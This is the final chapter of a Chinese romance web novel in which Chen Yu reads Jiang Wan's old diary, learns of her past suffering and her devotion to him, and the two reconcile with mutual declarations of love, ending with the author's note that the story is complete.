工作上遇到了不如意的事情,走到哪里都是风言风语,但这些我都不在乎,我唯一在乎的就是陈屿的看法,希望他不要误会我。 貌似我又把事情搞砸了,他好像生气了。 如果离开他的视线,能让他变得开心,我想我也不是不可以。 好累,有点坚持不下去了,离开会不会好一点。 “刺啦”一声,指尖突然传来灼痛的感觉,陈屿这才意识到烟丝又燃尽了。烟蒂被他捻灭,跳跃着零星的火星,一如他此刻的内心,绝望又孤寂。 所以,就是在这里,在这段时间,她曾经想过要彻底离开他。差一点,他就再也见不到她了? 这种心跳不由自己控制,思绪完全混乱的感觉持续了很长一段时间,陈屿根本没办法静下来。以至于中间那些关于她想要离开的记录,他都都没勇气去看,直接快速翻过。等姜挽的情绪好点,他也才跟着松了一口气。 他说我可以追他,是真的吗? 他答应我的追求了! 他和我求婚了!!! 我答应了。 笔记最终停留在这里。 放下笔记本,陈屿颓然地靠在墙边,整本笔记里都是他,她的这些年全和他有关。甚至在没遇到他的那几年,她连一个字都没写过。 在他埋怨她的时候,在他不理解她的时候,甚至还有重逢后一次又一次讽刺和挖苦她的时候,他的女孩都在暗夜里行走,独自承受着一切。 是他欠她的。 眼泪落下来,很重的一声。 陈屿其实很少哭,即便在当初姜挽离开的那几年,心痛至极,他也只会采用喝酒和击剑的方式来麻痹自己,而不是掉眼泪。 可那些都是针对他,他都可以忍,可以熬。一旦换了对象,把这些放在姜挽身上,他就不能接受了。心里最隐秘,最珍视的东西竟然被这样对待,他没办法原谅自己。 姜挽下班到家的时候,发现客厅亮着灯,可陈屿却不在。 厨房,书房,还有他的卧室,她找了一圈都没有,最后还是在转身的间隙注意到她卧室的门开着,这才推门走了进去。 陈屿果然在里面,只不过他没开灯,借着窗外的月色,姜挽看清他靠着墙角。 这很不寻常,姜挽心里开始打鼓,连忙走回去:“怎么了?发生什么事了?”她顺手把屋里的灯打开。 陈屿没回答,只垂眸看着她,姜挽这才注意到他的眼圈很红,她一下就慌了:“到底怎么了?你别吓我。” 她声音带哭腔,陈屿伸手碰了碰她的脸颊,接着把笔记本递给她:“我都知道了。” 一瞬间,姜挽的脸上没了血色,不是因为恼怒,也不是因为生气,而是一种秘密被发现后的无措。她不想陈屿知道这些,更不想他因为这些自责。 果然,陈屿下一句就开口:“要不是我今天无意中看见了,你是不是一辈子都不打算告诉我?” “我没有,”姜挽和他解释,“我只是觉得那些都是过去的事情,不重要了。” “是吗,不重要了吗?”陈屿反问她,“是你这些年对我的感情不重要?还是你受的委屈不重要?” “你知不知道……”他声音哽咽,“一想到你吃了这么多苦,过得不好,而我还傻逼嘻嘻地为难你,我就没办法原谅我自己!” 他捶打自己:“我他妈就是个傻逼,天底下最大的傻逼!明明是最傻的那一个,还整天装出一副被伤害的样子,觉得你对不起我,觉得自己就是天底下最大的情圣,现在看来就是一场笑话!” 他声音虽大,可字字句句都是对自己的审判和自责,对她没有丝毫怨言。姜挽实在不忍心看他这样,一把抱住他:“不是这样的,你别这么说。” 慢慢地,她感觉到陈屿安静了下来,这才从他怀里抬起头来:“当初的事情明明是我不好,冷暴力你,还不告而别,”姜挽的眼眶也湿了,“你不怪我就算了,为什么还要把这些算在自己身上呢?” 说着说着,她的眼泪就开始收不住:“当年发生那样的事情,我没脸再见你,我也从没想过还能有什么以后,坦白讲,要不是再次遇见你,我一定会孤独终老一辈子。” 她抬手揩了下眼睛,眼底一片水光,“再次遇见你,是上天对我的眷顾,是你让我的生命重新有了色彩,你对我而言,是救赎。以前是,现在也是,一辈子都是。” 她极少说这种煽情的话,陈屿忍不住捧住她的下巴,额头和她的相贴,咫尺之间,呼吸缠绕,他们两人密不可分。 虽然没有亲吻,可此刻却比亲吻要来得更让人动心。 “对不起,是我不好,我爱你。”他说。 “你也爱我,一直都爱,对不对?” 姜挽对上他的视线,指了指自己的心口:“这里,一直都是你。” 话音落,身体突然腾空,她被抱到了床上。陈屿的吻很温柔,动作也是,和以往的掠夺和占有相比,这次更像是治愈。 “其他的我都可以不问,”陈屿吻她,那些她不愿意提起的过去,他都可以尊重她,“但只一条,关于我的,还有没有什么瞒着我?” 他要一次性全部知道,看看自己到底能“傻逼”到什么程度。 感官被放大,思绪也有些飘升,姜挽断断续续地想,而后又断断续续地开口:“之前……你送我的手链……我还留着……” 陈屿瞬间便意识到,是那条,当初争吵,被他丢在雨里的那条。他不知道她当时是用什么样的心情捡起来的,又是用什么心情保留了这么些年,只知道,和她相比,他的爱真的太轻了。 “不会了,以后都不会了。” 他声音颤抖,虽没明说,可姜挽却懂了:“我知道,我们还有好多好多年。” 刹那间,两人同时触碰到了彼此的灵魂。 窗外夜色朦胧,初升的月影在枝桠间轻轻摇曳,陈屿捋了捋她汗湿的鬓角,珍且重地吻了上去:“今晚月色真美。” 姜挽还有些颤抖,累得眼皮都睁不开,可还是回吻了下他,轻声回应道:“风也温柔。”—— 作者有话说:正文完结~ 感谢小宝们的追更~~《 》